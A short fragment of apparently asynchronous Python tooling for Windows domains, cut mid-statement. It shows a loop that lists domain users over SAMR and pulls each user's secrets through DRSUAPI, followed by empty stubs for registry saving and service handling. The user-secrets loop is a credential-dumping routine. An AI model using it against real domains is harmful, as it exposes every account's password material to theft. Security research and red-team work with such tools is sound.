self.samr.list_domain_users( domain_handle): secrets = await drsuapi.get_user_secrets(username) yield secrets #placeholder for later implementations... async def save_registry(self, hive_name): pass async def stop_service(self): pass async def deploy_service(self): pass async def list_mountpoints(self): pass